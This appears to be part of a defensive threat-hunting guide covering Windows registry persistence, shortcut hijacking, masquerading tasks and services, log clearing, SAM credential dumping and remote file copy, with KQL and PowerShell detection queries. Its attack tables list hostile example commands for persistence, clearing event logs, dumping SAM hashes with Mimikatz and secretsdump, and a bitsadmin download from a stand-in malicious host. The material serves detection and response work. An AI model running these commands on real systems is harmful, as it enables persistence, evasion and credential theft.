part 3
🚨 Modify Registry
🔍 1. Attack Breakdown
📝 What is Registry Modification?
The Windows Registry is a hierarchical database used to store system settings, application configurations, and user preferences.
Attackers often modify the registry to:
Establish Persistence: Ensure malware executes at startup.
Disable Security Controls: Turn off antivirus or logging.
Configure Malware Behavior: Adjust system or application settings for malicious purposes.
Hide Artifacts: Conceal malicious files or processes.
📑 Why Attackers Use Registry Modifications?
Persistence: Malware can auto-start on system boot.
Stealth: Changes are often hard to detect without monitoring.
Control: Modify system behavior for exploitation.
Fileless Attacks: Execute scripts directly from the registry.
📌 Common Registry Keys Abused by Attackers
Key
Purpose
Example Command
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Persistence via user login
reg add "HKCU\...\Run" /v Malware /t REG_SZ /d "C:\malicious.exe"
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
Replace shell for persistence
reg add "HKLM\...\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, malicious.exe"
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System
Disable Task Manager
reg add "HKCU\...\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1
HKLM\SYSTEM\CurrentControlSet\Services
Modify service behavior
reg add "HKLM\...\Services" /v ImagePath /t REG_EXPAND_SZ /d "C:\malicious.exe"
HKCU\Software\Classes\mscfile\shell\open\command
Hijack MSC files for execution
reg add "HKCU\...\open\command" /d "malicious.exe"
🛡️ 2. Detection Techniques
📊 Manual Detection via PowerShell
🕵️ List Startup Entries in Registry:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
🕵️ Search for Suspicious Keys:
Get-ChildItem -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Recurse
Get-ChildItem -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
🕵️ Check Disabled Security Settings:
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender" | Select-Object DisableAntiSpyware
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect Registry Modifications:
DeviceRegistryEvents
| where ActionType == "RegistryValueSet"
| where RegistryKey contains "Run" or RegistryKey contains "Winlogon"
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData, AccountName
🕵️ Identify Security Settings Disabled:
DeviceRegistryEvents
| where RegistryKey contains "Windows Defender"
| where RegistryValueName in ("DisableAntiSpyware", "DisableRealtimeMonitoring")
| where RegistryValueData == "1"
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData
🕵️ Persistence via Registry:
DeviceRegistryEvents
| where RegistryKey contains "Run" or RegistryKey contains "RunOnce"
| where RegistryValueData contains ".exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
🕵️ Look for Fileless Execution:
DeviceRegistryEvents
| where RegistryValueData contains "powershell" or RegistryValueData contains "cmd.exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
🕵️ Track Registry Key Creation:
DeviceRegistryEvents
| where ActionType == "RegistryKeyCreated"
| where RegistryKey contains "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
| project Timestamp, DeviceName, RegistryKey, AccountName
📊 Event Viewer Logs
Event ID 4657: Registry Value Modification
Event ID 4663: Object Access Attempt
Event ID 4688: Process Creation
📌 Focus on These Indicators:
Processes Making Changes:
powershell.exe
,cmd.exe
,reg.exe
,regedit.exe
Suspicious Paths:
HKCU:\...\Run
,HKLM:\...\Winlogon
,HKCU:\...\Policies
New or Modified Keys: Look for
.exe
,.bat
,.vbs
references in key values.
🕵️ 3. Investigation Techniques
1️⃣ Identify Processes Making Registry Changes
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4657} | Select-Object TimeCreated, Message
2️⃣ Trace Suspicious Registry Values
Investigate recent changes in critical registry paths:
Get-ChildItem -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object Name, Value
3️⃣ Look for Fileless Malware
Check registry keys for encoded scripts:
Get-ChildItem -Path "HKCU:\Software" -Recurse | Where-Object { $_.Value -match "powershell" -or $_.Value -match "cmd.exe" }
4️⃣ Correlate with Process Execution
Cross-reference with processes using Event ID 4688.
🔧 4. Remediation Steps
📌 1. Identify and Remove Malicious Registry Keys
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MaliciousKey"
📌 2. Restore Default Security Settings
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0
📌 3. Terminate Related Processes
Stop-Process -Name "powershell" -Force
📌 4. Quarantine Malicious Files
Move-Item -Path "C:\Temp\malicious.exe" -Destination "C:\Quarantine"
📌 5. Perform Full Antivirus Scan
Start-MpScan -ScanType FullScan
🛡️ 5. Prevention Steps
Enable Registry Auditing:
Configure auditing for sensitive registry paths.
Use Attack Surface Reduction (ASR) Rules:
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
Disable Unused Registry Tools:
Restrict access to
reg.exe
andregedit.exe
for non-admin users.
Enable Tamper Protection in Defender:
Set-MpPreference -DisableTamperProtection $false
Educate Users:
Train users to recognize social engineering attacks leading to registry modifications.
🧠 6. Key Takeaways
Persistence is Key: Monitor startup and Winlogon registry keys.
Disable Known Attack Paths: Prevent scripts from running via registry.
Real-Time Alerts: Monitor changes to sensitive keys (
Run
,Winlogon
).Registry Auditing: Enable Event IDs 4657, 4688, and 4663.
🚨 Boot or Logon Autostart Execution: Shortcut Modification
🔍 1. Attack Breakdown
📝 What is Shortcut Modification Attack?
Shortcut Modification involves altering Windows shortcut files (.lnk) to execute malicious commands or scripts during boot or user logon.
Attackers modify shortcut targets to execute malicious payloads instead of their original programs.
📑 Why Attackers Use Shortcut Modification?
Persistence: Ensures malicious code runs at every system boot or user logon.
Stealth: Modified shortcuts appear legitimate to unsuspecting users.
Execution Without Alerts: Often bypasses security tools that monitor startup keys.
User Trust: Users are more likely to trust familiar application shortcuts.
📌 Common Shortcut Modification Techniques
Technique
Example Command
Purpose
Startup Folder Modification
echo [malicious command] > C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\example.lnk
Run malware at user logon
Modify Desktop Shortcuts
powershell -Command "Start-Process calc.exe"
Replace target of a common shortcut
Modify Taskbar Shortcuts
C:\Windows\System32\cmd.exe /c malicious.exe
Hijack taskbar or pinned shortcut
LNK File Injection
copy malicious.lnk C:\Users\<User>\Start Menu\Programs\Startup\
Inject malicious shortcut
Path Hijacking via Shortcut
C:\Windows\System32\cmd.exe /k "C:\Temp\payload.exe"
Execute malicious binary instead of the original program
🛡️ 2. Detection Techniques
📊 Manual Inspection
🕵️ Check Startup Folder for Suspicious Shortcuts:
سخ الكودGet-ChildItem -Path "C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" -Filter "*.lnk" | Select-Object Name, LastWriteTime
🕵️ Check Shortcut Target Paths:
(Get-Item "C:\Users\<User>\Desktop\example.lnk").TargetPath
🕵️ Check for Suspicious Commands in Shortcuts:
(Get-Item "C:\Users\<User>\Desktop\example.lnk").Arguments
🕵️ Identify Modified Shortcuts:
Get-ChildItem -Path "C:\Users\*\Desktop" -Filter "*.lnk" | Select-Object Name, LastWriteTime
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect Shortcut Modifications in Startup Folders:
DeviceFileEvents
| where FolderPath contains "Startup"
| where FileName endswith ".lnk"
| where ActionType in ("FileCreated", "FileModified")
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName, AccountName
🕵️ Identify Suspicious Shortcut Arguments:
DeviceFileEvents
| where FileName endswith ".lnk"
| where InitiatingProcessCommandLine contains "cmd.exe" or InitiatingProcessCommandLine contains "powershell.exe"
| project Timestamp, DeviceName, FileName, InitiatingProcessCommandLine, AccountName
🕵️ Monitor Common Hijacked Paths:
DeviceFileEvents
| where FolderPath contains "Desktop" or FolderPath contains "Start Menu"
| where FileName endswith ".lnk"
| where InitiatingProcessFileName in ("cmd.exe", "powershell.exe")
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, AccountName
🕵️ Check Persistence via Modified Shortcuts:
DeviceRegistryEvents
| where RegistryKey contains "Run"
| where RegistryValueData contains ".lnk"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
📊 Event Viewer Logs
Event ID 4663: Object Access Attempt
Event ID 4688: Process Creation
Event ID 4670: Permissions on an Object Were Changed
🕵️ Filter Suspicious Activities in Event Viewer:
Open Event Viewer → Security → Filter by Event ID 4688
Look for:
FileName:
.lnk
InitiatingProcess:
cmd.exe
,powershell.exe
🕵️ 3. Investigation Techniques
1️⃣ Analyze Shortcut Target Paths
(Get-Item "C:\Users\<User>\Desktop\suspicious.lnk").TargetPath
2️⃣ Trace Parent Processes
Check what triggered the creation or modification of the shortcut:
Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -match ".lnk" }
3️⃣ Check for Suspicious Files in Startup Folders
Get-ChildItem -Path "C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" -Filter "*.lnk"
4️⃣ Review Recently Modified Shortcuts
Check recent changes in shortcut files:
Get-ChildItem -Path "C:\Users\*\Desktop" -Filter "*.lnk" | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }
5️⃣ Inspect Registry Keys
Look for
.lnk
references in Run keys:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
🔧 4. Remediation Steps
📌 1. Remove Malicious Shortcuts
Remove-Item -Path "C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\suspicious.lnk"
📌 2. Quarantine Malicious Payloads
Move-Item -Path "C:\Temp\malware.exe" -Destination "C:\Quarantine"
📌 3. Remove Registry Persistence
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MaliciousKey"
📌 4. Terminate Malicious Processes
Stop-Process -Name "cmd" -Force
Stop-Process -Name "powershell" -Force
📌 5. Perform Full Antivirus Scan
Start-MpScan -ScanType FullScan
🛡️ 5. Prevention Steps
Enable Attack Surface Reduction (ASR) Rules:
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
Restrict Write Access to Startup Folders:
Limit permissions on
C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
.
Audit Shortcut Modifications:
Enable auditing for
.lnk
file changes.
Disable Auto-Execution from Startup Folder:
Block execution of scripts from
Startup
via Group Policy.
Educate Users:
Train users to avoid clicking on
.lnk
files from untrusted sources.
🧠 6. Key Takeaways
Monitor Shortcut Modifications: Watch
.lnk
files inStartup
andDesktop
.Audit Key Paths: Regularly review
Startup
andRun
registry keys.Analyze Shortcut Targets: Investigate modified
.lnk
file targets.Focus on Persistence Mechanisms: Pay attention to
cmd.exe
,powershell.exe
, and suspicious arguments.
🚨 Masquerade Task or Service
🔍 1. Attack Breakdown
📝 What is Task or Service Masquerading?
Masquerading occurs when an attacker disguises a malicious scheduled task or Windows service to appear legitimate.
Attackers often name tasks or services similar to system processes (e.g.,
svchost.exe
,explorer.exe
) to avoid detection.
📑 Why Attackers Use Task or Service Masquerading?
Persistence: Ensures malware or malicious scripts run automatically on startup.
Stealth: Mimics legitimate services or tasks to evade detection.
Privilege Escalation: May run tasks/services with elevated privileges.
Reduces Suspicion: Security teams might overlook familiar-looking names.
📌 Common Techniques
Technique
Example Command
Purpose
Scheduled Task Masquerade
schtasks /create /tn "Windows Update" /tr C:\Temp\malware.exe /sc daily /ru SYSTEM
Create a disguised scheduled task
Service Creation with Masquerade Name
sc create WindowsUpdate type= own start= auto binPath= "C:\Temp\malware.exe"
Create a fake Windows Update service
Modify Existing Services
sc config TrustedInstaller binPath= "C:\Temp\malware.exe"
Hijack legitimate services
Hidden Tasks
schtasks /create /tn "Windows Security" /tr powershell.exe -enc ZWNobyBoZWxsbyA= /sc minute
Create hidden tasks
Fake Parent Process
cmd.exe /c start svchost.exe -k netsvcs
Mimic a legitimate process
🛡️ 2. Detection Techniques
📊 Manual Inspection
🕵️ List Scheduled Tasks
سخ الكودGet-ScheduledTask | Where-Object { $_.TaskPath -like "*Windows*" } | Select-Object TaskName, TaskPath, State
🕵️ Inspect Task Command Lines
Get-ScheduledTaskInfo -TaskName "Windows Update"
🕵️ List All Windows Services
Get-Service | Where-Object { $_.StartType -eq "Automatic" } | Select-Object Name, DisplayName, StartType, Status
🕵️ Inspect Service Configurations
Get-WmiObject Win32_Service | Select-Object Name, DisplayName, PathName, StartMode
🕵️ Find Unusual Paths in Service Binaries
Get-WmiObject Win32_Service | Where-Object { $_.PathName -notlike "*system32*" } | Select-Object Name, PathName
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect Suspicious Scheduled Tasks
DeviceProcessEvents
| where FileName == "schtasks.exe"
| where ProcessCommandLine contains "/create"
| where ProcessCommandLine contains "Windows Update" or ProcessCommandLine contains "Security"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
🕵️ Identify Suspicious Services Created or Modified
DeviceProcessEvents
| where FileName == "sc.exe"
| where ProcessCommandLine contains "create" or ProcessCommandLine contains "config"
| where ProcessCommandLine contains "svchost" or ProcessCommandLine contains "update"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
🕵️ Find Services with Non-Standard Binary Paths
DeviceRegistryEvents
| where RegistryKey contains "SYSTEM\\CurrentControlSet\\Services"
| where RegistryValueData !contains "C:\\Windows\\System32"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
🕵️ Look for Tasks Executing from Suspicious Paths
DeviceFileEvents
| where FolderPath contains "Temp" or FolderPath contains "AppData"
| where FileName endswith ".exe"
| project Timestamp, DeviceName, FolderPath, FileName, InitiatingProcessCommandLine
📊 Event Viewer Logs
Event ID
Description
4697
A service was installed in the system
4698
A scheduled task was created
4702
A scheduled task was updated
7045
A new service was installed on the system
📌 Focus on These Indicators:
Service Name: Generic or misleading names (
WindowsUpdate
,SecurityService
)Scheduled Task Names: Mimic system tasks (
Windows Defender Update
,Security Scan
)Paths: Non-standard paths like
C:\Temp\malware.exe
🕵️ 3. Investigation Techniques
1️⃣ Review Scheduled Task Details
Inspect task triggers and command lines:
schtasks /query /tn "Windows Update" /v /fo LIST
2️⃣ Inspect Service Binary Paths
Verify the service path and startup type:
sc qc WindowsUpdate
3️⃣ Trace Parent Processes
Identify the parent process for suspicious tasks:
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }
4️⃣ Validate File Hashes
Check binaries used by tasks and services:
Get-FileHash "C:\Temp\malware.exe"
5️⃣ Check Registry for Service Entries
Review suspicious registry keys:
reg query "HKLM\SYSTEM\CurrentControlSet\Services"
🔧 4. Remediation Steps
📌 1. Disable and Remove Malicious Tasks
schtasks /delete /tn "Windows Update" /f
📌 2. Stop and Delete Malicious Services
sc stop WindowsUpdate
sc delete WindowsUpdate
📌 3. Remove Registry Entries
Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WindowsUpdate" -Force
📌 4. Quarantine Malicious Files
Move-Item -Path "C:\Temp\malware.exe" -Destination "C:\Quarantine"
📌 5. Perform Full Antivirus Scan
Start-MpScan -ScanType FullScan
🛡️ 5. Prevention Steps
Enable Task and Service Auditing:
Enable Event IDs 4697, 4698, 4702, and 7045.
Restrict Service and Task Creation:
Use Group Policy to limit non-admin task and service creation.
Monitor Common Abuse Binaries:
Tools like
schtasks.exe
,sc.exe
, andpowershell.exe
.
Enable Attack Surface Reduction (ASR) Rules:
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
Audit Non-Standard Paths:
Services running from
C:\Temp
,C:\Users
, orC:\ProgramData
.
Implement Least Privilege Access:
Restrict administrative privileges for regular users.
Educate Users:
Train users to recognize suspicious behavior and report anomalies.
🧠 6. Key Takeaways
Persistence Tactics: Scheduled tasks and services are common attack vectors.
Mimicry is Key: Attackers use misleading names to avoid detection.
Auditing is Essential: Monitor task and service creations using Event Logs and Defender telemetry.
Focus on Execution Paths: Legitimate tasks and services rarely use
Temp
orAppData
.
🚨 Indicator Removal on Host: Advanced Threat Analysis
🔍 1. Attack Breakdown
📝 What is Indicator Removal on Host?
Indicator Removal on Host is an adversarial tactic used to erase traces of malicious activity from a compromised system.
Attackers remove logs, files, registry entries, scheduled tasks, and artifacts that could reveal their presence or actions.
📑 Why Attackers Remove Indicators?
Evade Detection: Hide traces of malicious activity from security teams and tools.
Persistence: Make it harder for incident responders to fully remediate the breach.
Delay Investigation: Obscure root cause analysis and delay detection timelines.
Cover Tracks: Prevent linking the attacker to the activity.
📌 Common Techniques for Indicator Removal
Technique
Description
Example Command
Delete Event Logs
Erase Windows event logs
wevtutil cl Security
Clear PowerShell History
Remove traces from command history
Remove-Item (Get-PSReadlineOption).HistorySavePath
Delete Files/Artifacts
Remove malware payloads or logs
del C:\Temp\malicious.exe
Remove Registry Entries
Clean persistence artifacts
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MalwareKey /f
Disable Logging
Temporarily stop event logging
wevtutil sl Security /e:false
Self-Delete Script
Malware deletes itself after execution
cmd.exe /c timeout 5 && del %~f0
🛡️ 2. Detection Techniques
📊 Manual Inspection
🕵️ Check for Cleared Event Logs
wevtutil qe Security /c:10 /f:text
Look for abrupt log gaps or absence of expected events.
🕵️ Inspect PowerShell Command History
(Get-PSReadlineOption).HistorySavePath
Get-Content (Get-PSReadlineOption).HistorySavePath
Look for unusual deletions or clearing commands.
🕵️ Check System Logs for Clearing Commands
Get-WinEvent -LogName Security | Where-Object { $_.Message -like "*wevtutil cl*" }
🕵️ Search for Recent File Deletions
Get-ChildItem -Path "C:\Temp" -Recurse | Where-Object { $_.LastWriteTime -gt (Get-Date).AddHours(-24) }
🕵️ Check Registry Modifications
Get-ChildItem -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Recurse
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect Log Clearing Commands
DeviceProcessEvents
| where FileName in~ ("wevtutil.exe", "powershell.exe", "cmd.exe")
| where ProcessCommandLine contains "wevtutil cl" or ProcessCommandLine contains "Clear-EventLog"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
🕵️ Detect PowerShell History Manipulation
DeviceFileEvents
| where FolderPath contains "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell"
| where FileName contains "ConsoleHost_history.txt"
| where ActionType in ("FileDeleted", "FileModified")
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
🕵️ Identify Deleted Files and Artifacts
DeviceFileEvents
| where ActionType == "FileDeleted"
| where FolderPath contains "Temp" or FolderPath contains "AppData"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
🕵️ Detect Service or Task Deletion
DeviceProcessEvents
| where FileName == "sc.exe" or FileName == "schtasks.exe"
| where ProcessCommandLine contains "delete"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
🕵️ Registry Cleanup Attempts
DeviceRegistryEvents
| where ActionType == "RegistryValueDeleted"
| where RegistryKey contains "Run"
| project Timestamp, DeviceName, RegistryKey, AccountName
📊 Event Viewer Logs
Event ID
Description
1102
The audit log was cleared
4688
A new process was created
4657
Registry value modification
4663
Object access attempt
📌 Focus on Event ID 1102 (Audit Log Cleared)
Open Event Viewer → Windows Logs → Security
Look for sudden clearing of logs.
📌 Monitor for Suspicious Processes (Event ID 4688)
Look for commands using
wevtutil
,del
,Remove-Item
, orreg delete
.
🕵️ 3. Investigation Techniques
1️⃣ Trace Log Clearing Activities
Identify the account and source IP involved:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=1102}
2️⃣ Correlate Deleted Files with Processes
Investigate who and what deleted files:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4663}
3️⃣ Review Command History
Check recent command history:
Get-Content (Get-PSReadlineOption).HistorySavePath) | Select-String "wevtutil|Clear-EventLog|Remove-Item"
4️⃣ Inspect Registry for Evidence
Identify modified or deleted registry keys:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
5️⃣ Cross-Reference File Hashes
Validate hash integrity:
Get-FileHash "C:\Temp\payload.exe"
🔧 4. Remediation Steps
📌 1. Restart Event Logging
wevtutil sl Security /e:true
📌 2. Restore Logs from Backup
Restore event logs if backups are available.
📌 3. Investigate Deleted Files and Artifacts
Use forensic tools like Recuva or FTK Imager to recover deleted files.
📌 4. Remove Malicious Registry Entries
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MaliciousKey"
📌 5. Quarantine Suspicious Files
Move-Item -Path "C:\Temp\malware.exe" -Destination "C:\Quarantine"
📌 6. Perform Full Antivirus Scan
Start-MpScan -ScanType FullScan
🛡️ 5. Prevention Steps
Enable Security Auditing:
Ensure Event ID 1102, 4688, 4663 are enabled.
Enable Tamper Protection:
Set-MpPreference -DisableTamperProtection $false
Monitor Log Clearing Tools:
Watch for
wevtutil
,Clear-EventLog
,Remove-Item
.
Restrict Admin Privileges:
Prevent unauthorized users from clearing logs or modifying the registry.
Implement Attack Surface Reduction (ASR) Rules:
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
Disable Command History Clearing:
Enforce retention policies for command history.
Regular Backups:
Periodically back up event logs and critical system data.
🧠 6. Key Takeaways
Monitor Event Log Clearing: Event ID 1102 is critical.
File Deletions Are a Red Flag: Especially in
Temp
orAppData
.Audit Critical Registry Keys: Monitor
Run
andRunOnce
entries.Prevent Tampering: Enable Windows Defender Tamper Protection.
🚨 OS Credential Dumping: Security Account Manager (SAM)
🔍 1. Attack Breakdown
📝 What is SAM Credential Dumping?
Security Account Manager (SAM) is a Windows database file that stores local account credentials (NTLM and LM hashes).
Credential dumping involves extracting these hashes to escalate privileges, move laterally, or crack passwords offline.
📑 Why Attackers Use SAM Credential Dumping?
Access Local Accounts: Gain access to local administrator accounts.
Privilege Escalation: Use compromised accounts for elevated permissions.
Offline Hash Cracking: Crack NTLM hashes without alerting security systems.
Persistence: Use stolen hashes for Pass-the-Hash (PtH) attacks.
📌 Common Methods for SAM Credential Dumping
Technique
Tool/Command Example
Description
Local Copy of SAM and SYSTEM Files
copy C:\Windows\System32\config\SAM
Copy SAM and SYSTEM files for offline analysis
Mimikatz SAM Module
lsadump::sam
Dump SAM hashes directly from memory
Reg Save Method
reg save HKLM\SAM C:\Temp\sam.save
Export SAM hive via the registry
Volume Shadow Copy
vssadmin create shadow /for=C:
Access SAM via shadow copies
Impacket (secretsdump.py)
secretsdump.py Administrator@IP
Dump SAM hashes remotely
🛡️ 2. Detection Techniques
📊 Manual Inspection with PowerShell
🕵️ Look for Suspicious Access to SAM Registry Hive
Get-EventLog -LogName Security -InstanceId 4663 | Where-Object { $_.Message -like "*SAM*" }
🕵️ Monitor Registry Export Commands
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*reg save HKLM\SAM*" }
🕵️ Identify Shadow Copy Abuse
vssadmin list shadows
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect Access to SAM Files
DeviceFileEvents
| where FileName in ("SAM", "SYSTEM")
| where FolderPath contains "Windows\\System32\\config"
| where ActionType == "FileAccessed"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName, InitiatingProcessFileName
🕵️ Detect Registry Hive Export (reg save HKLM\SAM)
DeviceProcessEvents
| where FileName == "reg.exe"
| where ProcessCommandLine contains "save"
| where ProcessCommandLine contains "SAM"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
🕵️ Detect Shadow Copy Abuse
DeviceProcessEvents
| where FileName == "vssadmin.exe"
| where ProcessCommandLine contains "create shadow"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
🕵️ Identify Mimikatz Execution
DeviceProcessEvents
| where FileName contains "mimikatz.exe" or ProcessCommandLine contains "lsadump::sam"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
🕵️ Remote SAM Dumping with Impacket
DeviceNetworkEvents
| where RemoteIP != "127.0.0.1"
| where InitiatingProcessCommandLine contains "secretsdump.py"
| project Timestamp, DeviceName, RemoteIP, InitiatingProcessCommandLine
📊 Event Viewer Logs
Event ID
Description
4663
An attempt was made to access an object (SAM file access).
4688
A new process was created (e.g., reg.exe
, mimikatz.exe
).
4624
Account logon (especially administrative accounts).
4724
An attempt was made to reset an account's password.
5145
A network share object was accessed.
📌 Focus on Event ID 4663:
Object Access attempts for
HKLM\SAM
orC:\Windows\System32\config\SAM
.
📌 Event ID 4688:
Look for suspicious processes:
reg.exe
vssadmin.exe
mimikatz.exe
🕵️ 3. Investigation Techniques
1️⃣ Identify Registry Export Commands
Search for SAM exports:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*reg save HKLM\SAM*" }
2️⃣ Inspect Shadow Copies
List all shadow copies:
vssadmin list shadows
Look for unusual creation timestamps.
3️⃣ Analyze Active Processes
Identify active processes accessing SAM files:
Get-Process -Name reg, vssadmin, mimikatz -IncludeUserName
4️⃣ Trace Malicious Tools
Search common tool artifacts:
Get-ChildItem -Path "C:\Temp", "C:\Users\Public" -Recurse | Where-Object { $_.Name -match "mimikatz|secretsdump" }
5️⃣ Check for Remote Credential Dumps
Inspect network logs for suspicious remote connections:
Get-NetTCPConnection | Where-Object { $_.RemoteAddress -notlike "192.168.*" }
🔧 4. Remediation Steps
📌 1. Change Local Account Passwords
Immediately reset local admin passwords:
net user Administrator NewP@ssw0rd!
📌 2. Remove Malicious Shadow Copies
vssadmin delete shadows /for=C: /all /quiet
📌 3. Block Tools (Mimikatz, Impacket)
Use AppLocker or WDAC to block these tools.
📌 4. Review Local Admin Group Memberships
net localgroup Administrators
📌 5. Enable Logging and Auditing
Ensure Event IDs 4663, 4688, and 4624 are monitored.
📌 6. Perform Full Antivirus Scan
Start-MpScan -ScanType FullScan
🛡️ 5. Prevention Steps
Enable LSASS Protection:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
Monitor Access to SAM Files:
Enable auditing on:
C:\Windows\System32\config\SAM
HKLM\SAM
Restrict Registry Access:
Limit local admin privileges.
Block Tool Execution:
Use Application Control Policies (AppLocker) to block
mimikatz.exe
,secretsdump.py
.
Use Credential Guard:
Enable Windows Defender Credential Guard.
Limit Local Admin Accounts:
Disable unused local admin accounts.
🧠 6. Key Takeaways
SAM Database is Critical: Protect it with auditing and access control.
Monitor Registry Access: Look for
reg save HKLM\SAM
.Detect Shadow Copy Abuse: Monitor
vssadmin
commands.Credential Guard is Essential: Prevent access to LSASS and SAM hashes.
Block Known Tools: Prevent execution of
mimikatz.exe
andsecretsdump.py
.
🚨 Remote File Copy: Advanced Threat Analysis
🔍 1. Attack Breakdown
📝 What is Remote File Copy?
Remote File Copy is an adversarial tactic where attackers transfer files between systems over a network to:
Deploy malicious payloads.
Exfiltrate sensitive data.
Move toolkits or scripts for post-exploitation activities.
📑 Why Attackers Use Remote File Copy?
Payload Deployment: Transfer malware, tools, or scripts for persistence or lateral movement.
Data Exfiltration: Steal confidential files or credentials.
Stealth: Use native tools (e.g.,
xcopy
,robocopy
,scp
) to evade detection.Remote Control: Set up additional footholds on other systems.
📌 Common Techniques for Remote File Copy
Technique
Tool/Command Example
Purpose
SMB Copy
copy \\target\C$\Temp\payload.exe
Copy files via SMB
PSExec (Sysinternals)
psexec \\target -c payload.exe
Deploy payload using PsExec
PowerShell Copy
Copy-Item -Path .\payload.exe -Destination \\target\C$\Temp
Copy via PowerShell
RDP File Drop
File transfer using Remote Desktop
Upload malicious files
FTP Transfer
ftp <target>
Transfer files via FTP
SCP (Secure Copy Protocol)
scp file.txt user@remote:/tmp/
Transfer files securely
WinRM (PowerShell Remoting)
Invoke-Command -ComputerName target -ScriptBlock { Copy-Item }
Copy files using WinRM
BITSAdmin Abuse
bitsadmin /transfer malware http://malicious.com/payload.exe
Download via Background Intelligent Transfer Service
🛡️ 2. Detection Techniques
📊 Manual Inspection with PowerShell
🕵️ Check Recent File Transfers via SMB
Get-SmbSession
Look for unusual remote sessions.
🕵️ Review PowerShell File Copy History
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} | Where-Object { $_.Message -like "*Copy-Item*" }
🕵️ Identify Recent Remote Connections
Get-NetTCPConnection | Where-Object { $_.RemoteAddress -notlike "192.168.*" }
🕵️ Check Remote Desktop File Transfers
Review RDP logs at:
Event Viewer → Applications and Services Logs → Microsoft → Windows → TerminalServices-LocalSessionManager
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect SMB File Copy Activity
DeviceFileEvents
| where ActionType == "FileCreated"
| where InitiatingProcessFileName in~ ("cmd.exe", "powershell.exe", "robocopy.exe", "xcopy.exe", "psexec.exe")
| where FolderPath startswith "\\"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName, InitiatingProcessCommandLine
🕵️ Detect FTP or SCP Commands
DeviceProcessEvents
| where ProcessCommandLine contains "ftp" or ProcessCommandLine contains "scp"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
🕵️ Monitor PowerShell Remote Copy Attempts
